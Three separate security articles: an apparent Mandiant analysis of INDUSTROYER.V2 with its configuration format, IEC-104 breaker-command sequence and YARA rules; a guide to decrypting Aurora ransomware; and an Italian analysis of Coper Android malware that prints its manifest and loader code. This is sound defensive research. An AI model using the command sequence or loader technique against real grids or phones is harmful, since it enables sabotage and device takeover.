The attack is significant not only because OT-targeted attacks are rare, but also because this is the first instance in which code from broadly known attack-oriented OT malware was redeployed against a new victim. Despite five years of substantial analysis into INDUSTROYER from a variety of researchers, the actor still attempted to repurpose the tool and customized it to reach new targets. INDUSTROYER.V2 (Mandiant’s name for the new variant) reinforces the notion that OT malware can be tailored for use against multiple victims, which has serious implications for other publicly known OT malware families like INCONTROLLER.
While much of the story surrounding INDUSTROYER.V2’s deployment is already publicly available, Mandiant further analyzed the malware to share additional insights for defenders and the OT community. In this blog post, we document additional technical details of INDUSTROYER.V2 based on our analysis of two different samples. We also provide detection rules to identify related activity.
If you need support responding to related activity, please contact Mandiant Consulting. Further analysis of related threats—including additional malware that was deployed alongside INDUSTROYER.V2—is available as part of Mandiant Advantage Threat Intelligence.
## INDUSTROYER.V2 In a Nutshell
INDUSTROYER.V2 is similar to its predecessor; however, this variant contains more targeted functionality. Unlike the original INDUSTROYER, which was a framework that leveraged external modules to implement four different OT protocols, this variant is self-contained and only implements the IEC 60870-5-104 (IEC-104) communications protocol. IEC-104 is used for power system monitoring and control over TCP and is mainly implemented in Europe and the Middle East.
Most importantly, the new malware variant enables the actor to embed customized configurations that modify the malware’s behavior to specific intelligent electronic devices (IEDs) (e.g., protection relays, merging units, etc.) within the target environment. The design change to embed custom configurations in INDUSTROYER.V2 reduces the effort required by the actor to reproduce the attack against different victim environments and enables the actor to contain the impact to specific targeted IEDs.
## Two Custom INDUSTROYER.V2 Samples Show the Breadth of the Attack
To fully understand the implications of the new customization capabilities in INDUSTROYER.V2, we analyzed and compared two different samples. The second sample, which is likely a recompiled version, is publicly available in online malware scanning platforms (MD5: 7c05da2e4612fca213430b6c93e76b06).
We believe both samples are related to the same operation. The compilation timestamps were within minutes of each other and about two weeks before the intended attack. It is possible the actor was modifying the malware’s configuration to customize the payload for different targets.
Each sample contains different configurations hardcoded within the binary. One sample contains eight unique hardcoded target IP addresses, whereas the other only contains three.
In both samples, the malware terminated a specific process. However, the defined filepath used to concatenate with the process differed between the two samples. This shows a nuanced understanding of the victim environment.
Based on the slight differences between both samples, we can infer additional details about the scale of the attack, the likely level of access that the actor had within the victim networks, and the reconnaissance likely performed by the attacker prior to the deployment of the malware.
The actor’s successful implementation of IEC-104 to interact with the targeted devices indicates a robust understanding of the protocol and knowledge of the victim environment. For example, in the samples we analyzed, the actor manipulated a selected list of Information Object Addresses (IOAs), which are used to interact with power line switches or circuit breakers in a remote terminal unit (RTU) or relay configuration.
Conversely, the malware code itself shows some degree of carelessness or potential time constraints. For example, the INDUSTROYER.V2 samples contain limited obfuscation and defense evasion methods. The lack of obfuscation in the binaries provides defenders with quick hints on its functionality and ability to target OT assets.
## Outlook
Extensible frameworks, such as the original INDUSTROYER and INCONTROLLER, are often preferred by threat actors due to the flexibility of their modular design, allowing deployment of specific payloads to target different victim assets or communication protocols. However, in the case of INDUSTROYER.V2, the actor reimplemented only one of the original components from the earlier framework and created a new self-contained executable.
It is unclear why the threat actor made the particular modifications to INDUSTROYER.V2. Perhaps the actor wanted to develop a more streamlined version to target a very specific environment, or they did not want to expose more valuable or capable tools, or they simply believed this approach would be efficient since it would not require additional resources to impact the target.
Regardless of the motivations, the reuse of code from known OT malware highlights the value of hunting and detections based on known indicators. For instance, some detections we built for the original INDUSTROYER successfully identified INDUSTROYER.V2 in the wild.
While it is often believed that OT malware is not likely to be utilized in more than one environment, tools that take advantage of insecure by design OT features—such as INDUSTROYER.V2 does—can be employed multiple times to target multiple victims. The OT security community should recognize these tools as frameworks or capabilities, and not merely features of isolated cyber security incidents and one-time use tools.
## Technical Analysis of INDUSTROYER.V2
INDUSTROYER.V2 is written in C++ and implements the IEC-104 protocol to modify the state of remote terminal units (RTUs) over TCP. IEC-104 protocol TCP clients are called control stations and the TCP servers are called remote stations. The malware crafts configurable IEC-104 Application Service Data Unit (ASDU) messages, also known as telegrams, to change the state of a remote station’s Information Object Addresses (IOAs) to ON or OFF. IOAs identify a specific data element on a device and may correspond to power line switches or circuit breakers in an RTU or relay configuration.
The malware is a self-contained executable where the operator can set up configuration parameters to target specific remote stations, define execution options, and craft ASDU messages. It also accepts the optional command line arguments (-o) to print debug messages to an output file or (-t) to create a time delay before execution.
### Configuration Capabilities
After the command line interface arguments are parsed, INDUSTROYER.V2 iterates through embedded configuration entries. The execution of the program is highly configurable. Based on our analysis of two INDUSTROYER.V2 samples, the malware contains configuration entries structured as strings.
| Position | Configuration Entry Description |
|----------|---------------------------------|
| 1 | Station IP Address |
| 2 | Station Port |
| 3 | Entry Index Value |
| 4 | Enable Hard-Coded Telegrams with specified Range |
| 5 | Enable Configuration Options 6 - 14 |
| 5b | If Entry 4 is Enabled, Telegram Start Range |
| 6 | Enable Process Termination |
| 6b | If entry 4 is Enabled, Telegram End Range |
| 7 | Process Name to Terminate |
| 8 | Enable File Rename |
| 9 | Directory Path for File Rename |
| 10 | Sleep Prior to IEC-104 functionality |
| 11 | Sleep Duration Seed Value |
| 12 | Execution Control |
| 13 | Sleep Duration Seed Value |
| 14 | Unused |
| 15 | Command State – ON/OFF |
| 16 | Change Option – Send Inverted ON/OFF commands |
| 17 | Number of ASDU Data Entries |
| 18 | First ASDU Data Entry |
An example extracted configuration entry from sample 7c05da2e4612fca213430b6c93e76b06 is presented below:
```
192.168.XXX.XXX 2404 2 0 1 1 Example StoppedProcess.exe 1 "Example PATH" 0 1 0 0 1 0 0 8 1104 0 0 0 1 1 1105 0 0 0 1 2 1106 0 0 0 1 3 1107 0 0 0 1 4 1108 0 0 0 1 5 1101 0 0 0 1 6 1102 0 0 0 1 7 1103 0 0 0 1 8
```
If configuration entry #4 is enabled, the malware crafts ASDU telegrams to deliver Select and Execute commands and modify the state of a remote station's IOA to OFF. The IOA ranges which these telegrams are sent to are provided by configuration entries #5 and #6. However, this option was not enabled in recovered samples. A configuration mapping against the example is included in the Appendix.
All the configurations we examined had the following options enabled: process termination, file rename, and use of ASDU data entries. The ASDU data entries are used to craft specific ASDU messages to the remote station and the data entry is structured in the format shown below.
| Position | ASDU Data Entry Description |
|----------|---------------------------------|
| 1 | Station Information Object Address (IOA) |
| 2 | Set Message Type – Single or Double Command |
| 3 | Set Command Type – Select or Execute |
| 4 | Invert Default ON/OFF State |
| 5 | Execution Control |
| 6 | ASDU Entry Index |
After parsing each configuration entry, INDUSTROYER.V2 enumerates running processes to identify if a specific hard-coded process is running and terminates it. Once this process is stopped, the malware enumerates running processes again and terminates whichever process is specified by the operator in the configuration.
If the file rename option is enabled, the malware creates a file path using its configuration data and adds a .MZ extension to this file. This may be a technique to prevent the specified process terminated earlier from relaunching.
For each configuration entry, a thread is created that implements IEC-104 communication with the controlled system. IEC-104 uses the Application Protocol Data Unit (APDU) specification.
An APDU frame can be composed of either just an Application Protocol Control Information (APCI) frame; or an APCI header and a subsequent Application Service Data Unit (ASDU) frame.
### Execution
INDUSTROYER.V2 first sends control function messages, which are contained within an APCI frame. The first control message is a Test Frame (TESTFR). The malware sends a TESTFR ACT to the remote station which verifies an established connection. If one exists, a remote station responds with a corresponding TESTFR CON.
Next, the malware opens a data transfer channel with the remote station using a subsequent control message type of Start Data Transfer (STARTDT). By default, data transfer is not enabled on an active connection between a control station and remote station. Therefore, the malware sends a STARTDT ACT to activate a data transfer channel and a remote station sends a corresponding STARTDT CON, to confirm a successful activation.
With data transfer enabled, the malware utilizes an ASDU frame to send subsequent commands to the remote station. ASDU messages, also known as telegrams, are a set of application functions defined by IEC-104 to monitor and control remote stations.
The malware sends a General Interrogation command, which allows it to obtain the current status of monitored digital and analog signals of the remote station. The malware then uses embedded ASDU data entries to craft a specific command to modify the target’s IOA to either ON or OFF.
These commands are crafted using options defined within its configuration and the individual ASDU data entry. For example, in the configuration we extracted from sample 7c05da2e4612fca213430b6c93e76b06, the first ASDU data entry is:
```
1104 0 0 0 1 1
```
Based on configuration entry 15 (OFF state), entry 16 (Disable Change option), and its ASDU entry values, the malware crafts an ASDU packet with the following characteristics:
- Information Object Address: 1104
- ASDU message type: C-DC_NA_1 (Double Command)
- ASDU command type: Execute
- Set state value: OFF
For each targeted remote station in a configuration entry, the malware iterates through corresponding ASDU data entries, crafting specified telegrams, and sends it to the remote station. The malware’s configuration settings may direct it to craft an additional ASDU message, which inverts the ON/OFF state in a command and sends this additional message to the remote station’s IOA.
A high-level description of the communication sequence is as follows:
1. Send Test Frame messages to verify an established connection
2. Send Start Data Transfer messages to open a data transfer channel
3. Send a General Interrogation command retrieving the status of the remote station
4. Send crafted Single or Double command types to modify the state of the remote station’s IOA
The detailed nature of how a specific remote station is targeted, down to the unique IOAs and the state each IOA must be modified to create an intended effect, demonstrates a comprehensive understanding of, or visibility into the victim environment.
We note that although the IOAs targeted by the malware can provide important context to the actor's precise intent, IOA mappings often differ between manufacturers, devices, and even users. For this reason, accurate interpretation of the actions intended by the actor requires additional knowledge about the targeted assets.
While at this moment we do not have such information, we explored possible IOA matches based on publicly available documentation about specific products. For example, knowing that ABB RTUs and relays are heavily deployed in the targeted region, we performed open source analysis. In our earlier example, we observed an IOA equivalent to 1104, which we then mapped to public product documentation from an ABB Distribution Recloser Relay corresponding to "50BFT:InStr status".
In this status, 50 is the ANSI number for circuit breaker, which is how relay elements are numbered when setting a protection relay. Then 50BFT stands for circuit breaker failure protection. We provide an appendix illustrating additional mapping of IOAs extracted from the configuration of the public INDUSTROYER.V2 sample against the same distribution recloser relay.
## Overlaps With Previous INDUSTROYER Variant
The two versions of INDUSTROYER contain overlaps in code and similarities in execution flow and functionality. We identified the following shared features in execution and functionality:
- Both versions contain code that first terminates a specific process on the victim controller station, prior to establishing IEC-104 communication.
- Both versions craft specific ASDU messages according to provided configuration settings.
- Both versions contain an ability to deliver pre-defined ASDU messages to a specified IOA range.
- Both versions contain an option to direct the malware to craft an additional ASDU message which inverts the previous ON/OFF command and sends it to the target remote station.
One difference we identified between both variants is that, unlike its predecessor, INDUSTROYER.V2 contains altered debugging messages which obfuscate the meaning of the outputs. However, we note these debugging messages are formatted and printed at similar execution points of key functions. Further, the obfuscation was not implemented in key portions of IEC-104 code which are reused in both versions, which enables us to visualize the overlaps.
For example, both INDUSTROYER versions use very similar code to parse APDU traffic and print specific parsed fields.
## Appendix: YARA Rules
```yara
rule MTI_Hunting_INDUSTROYERv2_Bytes {
meta:
author = "Mandiant"
date = "04-09-2022"
description = "Searching for executables containing bytecode associated with the INDUSTROYER.V2 malware family."
strings:
$bytes = {8B [2] 89 [2] 8B 0D [4] 89 [2] 8B 15 [4] 89 [2] A1 [4] 89 [2] 8B 0D [4] 89 [2] 8A 15 [4] 88 [2] 8D [2] 5? 8B [2] E8}
condition:
filesize < 3MB and
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
$bytes
}
rule MTI_Hunting_INDUSTROYERv2_Strings {
meta:
author = "Mandiant"
date = "04-09-2022"
description = "Searching for executables containing strings associated with the INDUSTROYER.V2 malware family."
strings:
$a1 = "M%X - %02d:%02d:%02d" nocase ascii wide
$a2 = "%02hu:%02hu:%02hu:%04hu" nocase ascii wide
$a3 = "%s M%X " nocase ascii wide
$a4 = "%s: %d: %d" nocase ascii wide
$a5 = "%s M%X %d (%s)" nocase ascii wide
$a6 = "%s M%X SGCNT %d" nocase ascii wide
$a7 = "%s ST%X %d" nocase ascii wide
$a8 = "Current operation : %s" nocase ascii wide
$a9 = "Sent=x%X | Received=x%X" nocase ascii wide
$a10 = "ASDU:%u | OA:%u | IOA:%u | " nocase ascii wide
$a11 = "Cause: %s (x%X) | Telegram type: %s (x%X" nocase ascii wide
$b1 = "Length:%u bytes | " nocase ascii wide
$b2 = "Unknown APDU format !!!" nocase ascii wide
$b3 = "MSTR ->> SLV" nocase ascii wide
$b4 = "MSTR <<- SLV" nocase ascii wide
condition:
filesize < 3MB and
uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
(1 of ($a*) and 1 of ($b*))
}
```
## Appendix: Mapped Configuration Example
| IOA | Description |
|-----|-----------------------------------|
| 1101 | 50BFT:InPosCIsA Status |
| 1102 | 50BFT:InPosCIsB Status |
| 1103 | 50BFT:InPosCIsC Status |
| 1104 | 50BFT:InStr status |
| 1105 | 50BFT:InStrA status |
| 1106 | 50BFT:InStrB status |
| 1107 | 50BFT:InStrC status |
| 1108 | 50BFT:general |
## Acknowledgements
This research was made possible thanks to the hard work of many people not listed on the byline. A huge thanks to CERT UA and ESET. Special thanks to Josh Triplett, Conor Quigley, and Wesley Mok.
|
# How to Decrypt the Aurora Ransomware with AuroraDecrypter
The Aurora Ransomware is a Windows infection that encrypts your files and then demands a ransom in bitcoins to obtain the decryption key. This ransomware has had numerous variants, with the most active current one appending the .Nano extension.
The Aurora Ransomware family is spread by attackers hacking into computers running Remote Desktop Services. Once they gain access, they install the ransomware and encrypt any files they can access. Encrypted files will have an extension appended to their names, and a ransom note will be created on the Windows desktop and in various folders.
## Encrypted .Nano Files
The good news is that the variants of this ransomware family can be decrypted for free using a decryptor created by Michael Gillespie. To use the decryptor, a victim just needs to have two encrypted files of a certain file type, which will be described later in the guide.
The currently supported variants append the following extensions to the names of encrypted files:
- .Nano
- .animus
- .Aurora
- .desu
- .ONI
- .aurora
## How to Decrypt the Aurora Ransomware
Victims of the Aurora Ransomware can be identified by having their files encrypted and renamed to have a .Nano, .animus, .Aurora, .desu, .ONI, or .aurora extension.
To decrypt files encrypted by the Aurora ransomware, you need to first download the Aurora Decryptor.
### AuroraDecrypter
Once downloaded, double-click on the executable to start the decryptor, and you will be greeted with the main screen.
In order to brute force the decryption key, we need two encrypted files of certain file types. The supported file types are:
- .png
- .gif
- .pdf
- .docx
- .xlsx
- .pptx
- .doc
- .xls
- .ppt
- .vsd
- .psd
- .mp3
- .wmv
- .zip
- .rar
- .pst
- .rtf
- .mdb
- .ico
- .lnk
- .fdb
- .jar
- .idx
Once you have located two of one of the above file types, click on the Settings menu and select Bruteforcer. This will open a screen where you should select two encrypted files.
Once you have selected both files, click on the Start button to begin brute forcing the decryption key. This process can take quite a while, so please be patient.
When finished, the decryptor will state that a decryption key has been found. Now click the X button to close the BruteForcer window, and the key will be loaded into the decryptor.
We now need to select a directory to decrypt by clicking on the Select Directory button. If you wish to decrypt an entire drive, simply select the drive letter itself. For example, you can select the C:\ drive.
When ready, click on the Decrypt button to begin decrypting the Aurora Ransomware encrypted files. Once you click Decrypt, the program will decrypt all the encrypted files and display the decryption status in the window.
When it has finished, the decryptor will display a summary of the number of files that have been decrypted. If some files were skipped, it may be due to permissions.
Though your files are now decrypted, the original encrypted files will still be on your computer. Once you confirm that your files have been properly decrypted, you can use CryptoSearch to move all the encrypted files into one folder so you can delete or archive them.
You can now close the decryptor and use your computer as normal. If you need help using this decryptor, feel free to leave a comment.
|
# Analisi e approfondimenti tecnici sul malware Coper utilizzato per attaccare dispositivi mobili
Questo articolo è un approfondimento tecnico effettuato sul campione individuato dal CERT-AgID nel mese di Maggio 2022 che aiuta a svelare la natura del malware Coper, utilizzato di recente da campagne malware che prendevano di mira dispositivi mobili. Fornisce interessanti spunti di riflessione sulle tecniche utilizzate dai suoi sviluppatori per proteggere il sample, comunicare con il C2 e gestirne le risposte, garantire la persistenza sul dispositivo una volta compromesso e impedire agli analisti di fare attribuzione basata sui paesi immuni.
## Il Manifest
Come per tutte le applicazioni Android, anche per Coper l’analisi inizia dal Manifest.
```xml
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="5"
android:versionName="5.5" android:compileSdkVersion="28" android:compileSdkVersionCodename="9" package="com.leadendq"
platformBuildVersionCode="28" platformBuildVersionName="9">
<uses-sdk android:minSdkVersion="21" android:targetSdkVersion="28"/>
<uses-permission android:name="android.permission.INSTALL_SHORTCUT"/>
<uses-permission android:name="android.permission.ADD_VOICEMAIL"/>
<uses-permission android:name="android.permission.CLEAR_APP_CACHE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY"/>
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
<uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.Manifest.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.USES_POLICY_FORCE_LOCK"/>
<uses-permission android:name="android.permission.VIBRATE"/>
<uses-permission android:name="android.permission.REQUEST_COMPANION_RUN_IN_BACKGROUND"/>
<uses-permission android:name="android.permission.REQUEST_COMPANION_USE_DATA_IN_BACKGROUND"/>
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.REORDER_TASKS"/>
<application android:theme="@style/Theme_AppCompat_Transparent_NoActionBar" android:label="@string/a"
android:icon="@drawable/ic_launcher" android:name="com.leadendq.LBXlHKkaN" android:allowBackup="false"
android:usesCleartextTraffic="true" android:appComponentFactory="android.support.v4.app.CoreComponentFactory">
<uses-library android:name="org.apache.http.legacy" android:required="false"/>
<activity android:label="@string/a" android:name="com.leadendq.p022e" android:exported="true" android:screenOrientation="fullSensor"
android:noHistory="false">
<intent-filter>
<category android:name="android.intent.category.LAUNCHER"/>
<action android:name="android.intent.action.MAIN"/>
</intent-filter>
</activity>
<activity android:theme="@style/Theme_AppCompat_Transparent_NoActionBar" android:name="com.leadendq.p025p"
android:exported="false" android:excludeFromRecents="true" android:noHistory="true"/>
<activity android:theme="@style/Theme_AppCompat_Transparent_NoActionBar" android:name="com.leadendq.p061p"
android:exported="false" android:excludeFromRecents="true" android:noHistory="true"/>
<activity android:theme="@style/Theme_AppCompat_Transparent_NoActionBar" android:name="com.leadendq.p094v"
android:exported="false" android:excludeFromRecents="true"/>
<activity android:name="com.leadendq.p057h" android:exported="false" android:excludeFromRecents="true" android:launchMode="singleTask"/>
<activity android:theme="@android:style/Theme.Dialog" android:name="com.leadendq.p016q" android:exported="false"
android:excludeFromRecents="true"/>
<activity android:theme="@android:style/Theme.NoTitleBar.Fullscreen" android:label="" android:icon="@drawable/icon"
android:name="com.leadendq.p097d" android:exported="false" android:excludeFromRecents="true" android:launchMode="singleTask"
android:screenOrientation="fullSensor" android:windowSoftInputMode="adjustResize"/>
<activity android:theme="@android:style/Theme.NoTitleBar.Fullscreen" android:name="com.leadendq.p080g"
android:exported="false" android:excludeFromRecents="true" android:launchMode="singleTask" android:screenOrientation="fullSensor"
android:windowSoftInputMode="adjustResize"/>
<receiver android:label="@string/a" android:name="com.leadendq.p086c"
android:permission="android.permission.BIND_DEVICE_ADMIN" android:exported="false">
<meta-data android:name="android.app.device_admin" android:resource="@xml/jchrrkw"/>
<intent-filter>
<action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
<action android:name="android.app.action.DEVICE_ADMIN_DISABLED"/>
</intent-filter>
</receiver>
<receiver android:name="com.leadendq.p064y" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<receiver android:name="com.leadendq.p058q" android:permission="android.permission.BROADCAST_SMS" android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
</intent-filter>
</receiver>
<receiver android:name="com.leadendq.p032o" android:permission="android.permission.BROADCAST_WAP_PUSH"
android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
<data android:mimeType="application/vnd.wap.mms-message"/>
</intent-filter>
</receiver>
<activity android:name="com.leadendq.p036z" android:exported="false">
<intent-filter>
<action android:name="android.intent.action.SEND"/>
<action android:name="android.intent.action.SENDTO"/>
<category android:name="android.intent.category.DEFAULT"/>
<category android:name="android.intent.category.BROWSABLE"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
<data android:scheme="mms"/>
<data android:scheme="mmsto"/>
</intent-filter>
</activity>
<service android:name="com.leadendq.p028m"
android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="sms"/>
<data android:scheme="smsto"/>
<data android:scheme="mms"/>
<data android:scheme="mmsto"/>
</intent-filter>
</service>
<receiver android:name="com.leadendq.p015a" android:enabled="true" android:exported="false"/>
<receiver android:name="com.leadendq.p041o" android:enabled="true" android:exported="true">
<intent-filter android:priority="999">
<action android:name="android.intent.action.BOOT_COMPLETED"/>
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
<action android:name="android.intent.action.USER_PRESENT"/>
<action android:name="android.intent.action.PACKAGE_ADDED"/>
<action android:name="android.intent.action.PACKAGE_REMOVED"/>
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
<action android:name="android.intent.action.SCREEN_ON"/>
<action android:name="android.intent.action.SCREEN_OFF"/>
<action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
<category android:name="android.intent.category.HOME"/>
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
<action android:name="android.net.wifi.WIFI_STATE_CHANGED"/>
<action android:name="android.intent.action.DREAMING_STOPPED"/>
</intent-filter>
</receiver>
<service android:name="com.leadendq.p038x" android:exported="false"/>
<service android:name="com.leadendq.p095g" android:exported="false"/>
<service android:name="com.leadendq.LogSrv" android:exported="false"/>
<service android:name="com.leadendq.p027j" android:exported="false"/>
<service android:name="com.leadendq.p084n" android:exported="false"/>
<service android:name="com.leadendq.p020e" android:exported="false"/>
<service android:label="@string/a" android:name="com.leadendq.p081h"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE" android:enabled="true" android:exported="false">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data android:name="android.accessibilityservice" android:resource="@xml/qfdfvpqvhifumvn"/>
</service>
<service android:name="com.leadendq.p025n" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
android:exported="false">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService"/>
</intent-filter>
</service>
<receiver android:name="com.leadendq.p061e"/>
<receiver android:name="com.leadendq.p043c"/>
<receiver android:name="com.leadendq.p049d"/>
<activity android:name="com.leadendq.p077n"/>
<activity android:name="com.leadendq.p058z"/>
<activity android:name="com.leadendq.p059z"/>
<service android:name="com.leadendq.p012q"/>
<service android:name="com.leadendq.p055u"/>
<service android:name="com.leadendq.p092f"/>
<activity android:name="com.leadendq.yfmwduzqgrqjb"/>
<activity android:name="com.leadendq.jvnbrlasqse"/>
<activity android:name="com.leadendq.lnpmgoqtyz"/>
<activity android:name="com.leadendq.xuakpiffgk"/>
<activity android:name="com.leadendq.ywzsyumnkjkluk"/>
<receiver android:name="com.leadendq.ctiepwdczo"/>
<receiver android:name="com.leadendq.fjzxhdqzejzl"/>
<receiver android:name="com.leadendq.ihszxrwantyhd"/>
<receiver android:name="com.leadendq.ajqxphhhegvm"/>
<receiver android:name="com.leadendq.gudqrgxxquzul"/>
<receiver android:name="com.leadendq.svhpujstqnsisu"/>
<receiver android:name="com.leadendq.duqokmecolw"/>
<service android:name="com.leadendq.etmjpgolkqnubo"/>
<service android:name="com.leadendq.simjjltntxmolo"/>
<service android:name="com.leadendq.ulxbedwqpc"/>
<service android:name="com.leadendq.thonuiqzjraes"/>
<service android:name="com.leadendq.ylxnbgoahg"/>
</application>
</manifest>
```
Il Manifest contiene la lista dei componenti di un’applicazione e permette di delineare una panoramica delle funzionalità senza entrare subito nei dettagli del codice. Di seguito illustriamo un sunto incentrato su i due aspetti che più sono utili per farsi un’idea delle funzionalità del malware: i permessi ed i componenti dell’App.
### I permessi
Per funzionare, il malware richiede almeno Android 5.0, un requisito che è soddisfatto da più del 97% dei dispositivi Android alla data attuale (19/07/2022), e 26 permessi divisi nelle seguenti categorie:
- **Gestione delle altre app**: CLEAR_APP_CACHE, REQUEST_DELETE_PACKAGES, REORDER_TASKS
- **Esecuzione in background**: FOREGROUND_SERVICE, RECEIVE_BOOT_COMPLETED
- **Gestione SMS e telefonia**: RECEIVE_SMS, READ_SMS, READ_PHONE_STATE, SEND_SMS, CALL_PHONE, ADD_VOICEMAIL
- **Creazione di notifiche**: ACCESS_NOTIFICATION_POLICY, VIBRATE
- **Gestione del risparmio batteria in background**: WAKE_LOCK, REQUEST_COMPANION_RUN_IN_BACKGROUND, REQUEST_COMPANION_USE_DATA_IN_BACKGROUND, REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
- **Blocco software del dispositivo**: MODIFY_AUDIO_SETTINGS, USES_POLICY_FORCE_LOCK
- **Connettività**: INTERNET, ACCESS_WIFI_STATE, ACCESS_NETWORK_STATE
- **Modifiche ed accesso al sistema**: INSTALL_SHORTCUT, WRITE_SETTINGS, READ_EXTERNAL_STORAGE
Un servizio in foreground è comunque un servizio eseguito indipendentemente dall’activity attualmente attiva. Il profilo che si delinea è quello del classico malware per Android che garantisce l’accesso al dispositivo tramite servizi in background, raccoglie informazioni riguardanti le applicazioni installate (con il fine di presentare gli Inject appropriati), legge e redirige SMS e chiamate per ottenere i codice 2FA e blocco software del dispositivo (l’audio viene disattivato e lo schermo bloccato in continuazione, impedendo l’utilizzo del dispositivo).
### I componenti
I permessi utilizzati, da soli, non sono sufficienti per determinare le caratteristiche di un malware per Android. Infatti, al di là del codice effettivamente presente nell’applicazione malevola, componenti come servizi e broadcast receiver richiedono a loro volta permessi appositi per poter essere lanciati e tali permessi sono ottenuti a runtime (ad esempio la necessità di avere il permesso BIND_ACCESSIBILITY_SERVICE per poter avviare un servizio di accessibilità).
Analizzeremo i vari componenti di seguito limitandoci qui a questa breve panoramica:
- **Applicazione**: Nel manifest è indicata un’apposita classe come tipo dell’oggetto applicazione. Questo permette di eseguire codice durante il ciclo di vita dell’applicazione stessa (anzichè dei singoli componenti) ed è una tecnica ben nota ed usata per il caricamento a runtime di classi aggiuntive contenute in file DEX esterni.
- **Activity principale**: Comporta la visualizzazione di un’icona nel launcher.
- **Receiver per Device Admin**: Intent Receiver per dare funzionalità di amministratore all’applicazione.
- **Vari Receiver e Activity**: per la lettura e l’invio degli SMS, MMS e notifiche WAP e per rispondere alle chiamate in ingresso con un SMS (un modo per silenziare quest’ultime).
- **Un Receiver**: che fa da raccoglitore di eventi del sistema (avvio, connettività, installazione e rimozione applicazioni, presenza dell’utente, stato dello schermo).
- **Un servizio di accessibilità**: che dà il controllo completo del dispositivo al malware.
- **Circa una quarantina tra Receiver e Activity generiche**: stando a quanto contenuto nel manifest.
### DEX a runtime
La presenza di una classe specifica per intercettare gli eventi del ciclo di vita dell’applicazione fa pensare al classico meccanismo di caricamento di DEX aggiuntivi a runtime. Infatti le classi effettivamente presenti nel DEX nell’APK corrispondono a servizi ed activity che non fanno niente. A titolo di esempio si riporta il codice di due di questi componenti:
```java
public class ylxnbgoahg extends Service {
@Override
public IBinder onBind(Intent intent) {
return null;
}
@Override
public int onStartCommand(Intent intent, int i, int i2) {
return 2;
}
}
public class ywzsyumnkjkluk extends Activity {
@Override
protected void onCreate(Bundle bundle) {
super.onCreate(bundle);
}
}
```
Ci sono solo tre classi utili all’interno dell’APK:
1. **BuildConfig**: contiene la versione dell’applicazione che in questo sample è impostata a 5.5.
2. **C0265R**: è la classe delle risorse (Il cui nome è R quando non offuscata).
3. **LBXlHKkaN**: è la classe dell’applicazione, dove già è visibile che il metodo attachBaseContext è stato “overridato”.
### Altri componenti e JNI
Risulta ormai chiaro che i componenti presenti nel manifest ma mancanti nell’APK sono caricati a runtime in attachBaseContext. Il metodo che contiene il codice della classe è il seguente:
```java
public class LBXlHKkaN extends Application {
public native void jpXOrO(Object obj);
@Override
public void attachBaseContext(Context context) {
super.attachBaseContext(context);
try {
Method declaredMethod = LBXlHKkaN.class.getDeclaredMethod("jpXOrO", Object.class);
declaredMethod.setAccessible(true);
declaredMethod.invoke(this, context);
} catch (Exception e) {
e.printStackTrace();
}
}
static {
System.loadLibrary("uXTAbVUl");
}
}
```
Il compito di questa classe è quello di caricare la libreria uXTAbVUl ed eseguire il proprio metodo jpXOrO: quest’ultimo è un metodo nativo e quindi implementato dalla libreria appena caricata. È interessante notare che questa scelta di utilizzare una libreria nativa può limitare le architetture su cui il malware può eseguirsi. Le architetture supportate sono mostrate in figura: il malware supporta quindi x86 (32 e 64 bit) ed ARM (32 e 64 bit, nello specifico v7a e v8a), quindi la virtuale totalità dei dispositivi Android.
Per ottenere il file DEX con gli altri componenti è necessario analizzare il codice nativo. Si è scelto quindi di analizzare la versione x86_64 in modo da usare una versione gratuita di IDA per Linux.
Quando alla JVM è richiesto di risolvere il nome di un metodo nativo Class::method, essa cerca nelle librerie caricate un metodo di nome Java_<mangled_full_class_name>_<mangled_method_name>. Le specifiche (tra cui il mangling) sono definite qui ed includono la possibilità di avere metodi nativi overloadati. Ci si aspetta quindi di trovare nella libreria un simbolo pubblico di nome Java_com_leadendq_LBXlHKkaN_jpXOrO. Infatti questo è l’unico metodo esportato alla JVM in quanto è l’unico che inizia per Java_.
